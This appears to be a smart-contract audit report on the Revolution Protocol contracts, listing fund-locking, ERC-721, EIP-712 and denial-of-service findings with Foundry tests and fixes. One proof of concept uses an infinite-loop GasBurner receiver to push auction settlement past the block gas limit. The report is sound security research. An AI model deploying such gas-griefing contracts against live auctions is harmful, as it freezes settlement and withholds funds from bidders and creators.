Revolution Protocol - shaka's results

Lines of code

https://github.com/code-423n4/2023-12-revolutionprotocol/blob/d42cc62b873a1b2b44f57310f9d4bbfdd875e8d6/packages/revolution/src/ERC20TokenEmitter.sol#L152-L230

Vulnerability details

ERC20TokenEmitter.sol:buyToken distributes the funds sent to purchase the tokens in the following way:

• 2.5% of the funds are sent to the RevolutionProtocolRewards contract.
• From the remaining funds, a percentage dependent on the creatorRateBps variable is sent to the treasury.
• The other percentage is split into two parts, according to the entropyRateBps variable. One part is sent to the creatorsAddress.

This leaves in the contract the remainder of funds, which is equal to:

((msg.value * 0.975) * creatorRateBps / 10_000) * (10_000 - entropyRateBps) / 10_000;

Given that there is no withdrawal mechanism to get this remainder out of the contract, the funds are stuck in the contract.

Impact

Ether will get stuck in the contract.

Proof of Concept

function testAuditBuyToken() public {
    uint256 creatorRate = 8_000; // 80%
    uint256 entropyRate = 4_000; // 40%

    // Setup
    vm.startPrank(address(dao));
    erc20TokenEmitter.setCreatorRateBps(creatorRate);
    erc20TokenEmitter.setEntropyRateBps(entropyRate);
    erc20TokenEmitter.setCreatorsAddress(address(80));
    vm.stopPrank();

    // Purchase data
    address[] memory recipients = new address[](1);
    recipients[0] = address(1);
    uint256[] memory bps = new uint256[](1);
    bps[0] = 10_000; // 100%
    uint256 valueSent = 1 ether;

    // Perform token purchase
    uint256 erc20TokenEmitterInitialBalance = address(erc20TokenEmitter).balance;
    vm.startPrank(address(this));
    erc20TokenEmitter.buyToken{ value: valueSent }(
        recipients,
        bps,
        IERC20TokenEmitter.ProtocolRewardAddresses({
            builder: address(0),
            purchaseReferral: address(0),
            deployer: address(0)
        })
    );

    // Distribution calculations
    uint256 rewardAmount = erc20TokenEmitter.computeTotalReward(valueSent);
    uint256 toPayTreasury = ((valueSent - rewardAmount) * (10_000 - creatorRate)) / 10_000;
    uint256 creatorDirectPayment = ((valueSent - rewardAmount - toPayTreasury) * entropyRate) / 10_000;
    uint256 valueLocked = valueSent - rewardAmount - toPayTreasury - creatorDirectPayment;

    assertEq(rewardAmount, 0.025 ether);
    assertEq(toPayTreasury, 0.195 ether);
    assertEq(toPayTreasury, erc20TokenEmitter.treasury().balance);
    assertEq(creatorDirectPayment, 0.312 ether);
    assertEq(creatorDirectPayment, erc20TokenEmitter.creatorsAddress().balance);
    assertEq(valueLocked, 0.468 ether);
    assertEq(valueLocked, address(erc20TokenEmitter).balance - erc20TokenEmitterInitialBalance);
}

Tools Used

Manual inspection.

Recommended Mitigation Steps

It is not clear who should be the recipient of the remainder of the funds. In any case, the solution would be to add the amount not distributed to the amounts sent to one of the existing recipients or send it to a new recipient.

Assessed type

ETH-Transfer

Lines of code

https://github.com/code-423n4/2023-12-revolutionprotocol/blob/d42cc62b873a1b2b44f57310f9d4bbfdd875e8d6/packages/revolution/src/VerbsToken.sol#L194

Vulnerability details

According to the documentation VerbsToken: Should comply with ERC721.

The specification of ERC-721 states the following regarding the tokenURI function: Throws if _tokenId is not a valid NFT.

The tokenURI function in VerbsToken does not check if the _tokenId is a valid NFT, and therefore it is possible to call the function with an invalid _tokenId and get a response.

Impact

The Verbs token contract is not compliant with the ERC-721 specification.

Tools Used

Manual inspection.

Recommended Mitigation Steps

    function tokenURI(uint256 tokenId) public view override returns (string memory) {
+       require(uint8(artPieces[tokenId].metadata.mediaType) > 0, "Invalid tokenId");
        return descriptor.tokenURI(tokenId, artPieces[tokenId].metadata);
    }

Assessed type

ERC721

Lines of code

https://github.com/code-423n4/2023-12-revolutionprotocol/blob/d42cc62b873a1b2b44f57310f9d4bbfdd875e8d6/packages/revolution/src/AuctionHouse.sol#L383-L396

Vulnerability details

When the deadline of the auction is reached, the auction is settled and a new auction is created by calling AuctionHouse.sol:settleCurrentAndCreateNewAuction.

The settlement of the auction performs many operations, including the transfer of the NFT to the highest bidder, the transfer of the auction proceeds to the creators, and the minting of governance tokens to each of the creators. This implies iterating over the list of creators twice. This list can be up to 100 elements long.

The first iteration is of special importance, as ether is sent to each of the creators and if the transaction fails, a transaction of WETH is sent to the creator. Although the amount of gas sent to transfer ether is limited to 50,000 gas, it is still possible to consume all the gas of the block by adding a large number of creators that will consume all available gas in the transfer.

Proof of Concept

Add the following code snippet to AuctionSettling.t.sol:

    (...)
    
import "forge-std/console2.sol";

contract GasBurner {
    uint256 n;
    receive() external payable {
        while(true) { n++;}
    }
}

contract AuctionHouseSettleTest is AuctionHouseTest {
    // Fallback function to allow contract to receive Ether
    receive() external payable {}

    function testAuditDOSSettleAuction() public {
        uint256 nCreators = 100;
        address gasBurner = address(new GasBurner());

        address[] memory creatorAddresses = new address[](nCreators);
        uint256[] memory creatorBps = new uint256[](nCreators);
        uint256 totalBps = 0;

        // Assume n creators with equal share
        for (uint256 i = 0; i < nCreators; i++) {
            creatorAddresses[i] = address(gasBurner);
            if (i == nCreators - 1) {
                creatorBps[i] = 10_000 - totalBps;
            } else {
                creatorBps[i] = (10_000) / (nCreators - 1);
            }

            totalBps += creatorBps[i];
        }

        uint256 verbId = createArtPieceMultiCreator(
            "Multi Creator Art",
            "An art piece with multiple creators",
            ICultureIndex.MediaType.IMAGE,
            "ipfs://multi-creator-art",
            "",
            "",
            creatorAddresses,
            creatorBps
        );

        auction.unpause();

        uint256 bidAmount = auction.reservePrice();
        vm.deal(address(21_000), bidAmount + 1 ether);
        vm.startPrank(address(21_000));
        auction.createBid{ value: bidAmount }(verbId, address(21_000));
        vm.stopPrank();

        vm.warp(block.timestamp + auction.duration() + 1); // Fast forward time to end the auction

        uint256 gasBefore = gasleft();
        auction.settleCurrentAndCreateNewAuction();
        uint256 gasAfter = gasleft();
        console2.log("Gas consumed: ", gasBefore - gasAfter);
    }

    (...)

Console output:

forge test --mt testAuditDOSSettleAuction -vv

Running 1 test for test/auction/AuctionSettling.t.sol:AuctionHouseSettleTest
[PASS] testAuditDOSSettleAuction() (gas: 47018991)
Logs:
  Gas consumed:  37870792

As we can see, the gas consumed is above the block gas limit of 30 million.

Impact

The protocol can be DOS'd, not allowing the settlement of the auction and creating a new one. This means that the maximum bidder will not receive the NFT and the creators will not receive their share of the auction.

Tools Used

Manual inspection.

Recommended Mitigation Steps

Use the "withdraw" pattern as recommended by the Solidity documentation.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-12-revolutionprotocol/blob/d42cc62b873a1b2b44f57310f9d4bbfdd875e8d6/packages/revolution/src/CultureIndex.sol#L431

Vulnerability details

The CultureIndex.sol contract implements the voteForManyWithSig and batchVoteForManyWithSig functions, which are used to vote for multiple proposals at once.

Both functions use the internal _verifyVoteSignature function to verify the signature of the voter. This function uses the EIP712 standard to encode the data that is signed by the voter.

431        voteHash = keccak256(abi.encode(VOTE_TYPEHASH, from, pieceIds, nonces[from]++, deadline));

However, the array of pieceIds is not encoded correctly, as according to the EIP-712 specification:

The array values are encoded as the keccak256 hash of the concatenated encodeData of their contents (i.e. the encoding of SomeType[5] is identical to that of a struct containing five members of type SomeType).

Impact

The signature verification is not EIP712 compliant, which will result in issues with integrators.

Tools Used

Manual inspection.

Recommended Mitigation Steps

-       voteHash = keccak256(abi.encode(VOTE_TYPEHASH, from, pieceIds, nonces[from]++, deadline));
+       voteHash = keccak256(abi.encode(VOTE_TYPEHASH, from, keccak256(abi.encodePacked(pieceIds)), nonces[from]++, deadline));

Assessed type

Other

Low Risk Issues

[L-01] Edge case bug in SignedWadMath.wadMul

The code of the SignedWadMath library contains a bug that causes the wadMul function to return incorrect result in the edge case for a * b where a == -1 and b == min int256. Although this edge case does not seem possible in the current implementation, it would be recommended to modify the library with the bug fix.

[L-02] Incorrect require statement in VerbsToken.sol:getArPieceById

VerbsToken.sol:getArPieceById will not revert if verbId == _currentVerbId is passed as an argument, being _currentVerbId the next ID to be minted.

File: VerbsToken.sol
273    function getArtPieceById(uint256 verbId) public view returns (ICultureIndex.ArtPiece memory) {
274        require(verbId <= _currentVerbId, "Invalid piece ID"); 👈 Should be `verbId < _currentVerbId`
275        return artPieces[verbId];
    }

The protocol currently calls this function only from AuctionHouse.sol and will not pass invalid IDs. However, it would be recommended to add the check to avoid potential issues in third-party contracts or future protocol upgrades.

[L-03] Incorrect calculation in ERC20TokenEmitter.sol:getTokenQuoteForPayment

The calculation of the tokens emitted for a payment amount in ERC20TokenEmitter.sol:getTokenQuoteForPayment does not account for the share of purchase amount sent to the creatorAddress, which will result in an overestimation of the tokens emitted.

File: ERC20TokenEmitter.sol
266    /**
267     * @notice Returns the amount of tokens that would be emitted for the payment amount, taking into account the protocol rewards.
268     * @param paymentAmount the payment amount in wei.
269     * @return gainedX The amount of tokens that would be emitted for the payment amount.
270     */
271    function getTokenQuoteForPayment(uint256 paymentAmount) external view returns (int gainedX) {
272        require(paymentAmount > 0, "Payment amount must be greater than 0");
273        // Note: By using toDaysWadUnsafe(block.timestamp - startTime) we are establishing that 1 "unit of time" is 1 day.
274        // solhint-disable-next-line not-rely-on-time
275        return
276            vrgdac.yToX({
277                timeSinceStart: toDaysWadUnsafe(block.timestamp - startTime),
278                sold: emittedTokenWad,
279                amount: int(((paymentAmount - computeTotalReward(paymentAmount)) * (10_000 - creatorRateBps)) / 10_000) 👈 Does not include `creatorDirectPayment`
280            });
281    }

Non-Critical Issues

[N-01] Incorrect comments

File: CultureIndex.sol
147    ///                                                          ///
148    ///                         MODIFIERS                        /// 👈 No modifiers in this file
149    ///                                                          ///

File: CultureIndex.sol
269    /** 
270     * @notice Returns the voting power of a voter at the current block. 👈 Should be `at a specific block` and add a `@param blockNumber`
271     * @param account The address of the voter.
272     * @return The voting power of the voter.
273     */
274     function getPastVotes(address account, uint256 blockNumber) external view override returns (uint256) {

File: VerbsToken.sol
173    /**
174     * @notice Mint a Verb to the minter.
175     * @dev Call _mintTo with the to address(es). 👈 Should be `Call _mintTo with the minter address`
176     */
177    function mint() public override onlyMinter nonReentrant returns (uint256) {

[N-02] Unnecessary checks

File: CultureIndex.sol
375        bool success = _verifyVoteSignature(from, pieceIds, deadline, v, r, s);
376
377        if (!success) revert INVALID_SIGNATURE(); 👈 `_verifyVoteSignature` cannot return false

File: CultureIndex.sol
403        for (uint256 i; i < len; i++) {
404            if (!_verifyVoteSignature(from[i], pieceIds[i], deadline[i], v[i], r[i], s[i])) revert INVALID_SIGNATURE(); 👈 `_verifyVoteSignature` cannot return false
405        }

File: CultureIndex.sol
438        if (from == address(0)) revert ADDRESS_ZERO();
439
440        // Ensure signature is valid
441        if (recoveredAddress == address(0) || recoveredAddress != from) revert INVALID_SIGNATURE(); 👈 `recoveredAddress == address(0)` already checked above

File: CultureIndex.sol
486    function topVotedPieceId() public view returns (uint256) {
487        require(maxHeap.size() > 0, "Culture index is empty"); 👈 Checked by `maxHeap.getMax()`
488        //slither-disable-next-line unused-return
489        (uint256 pieceId, ) = maxHeap.getMax();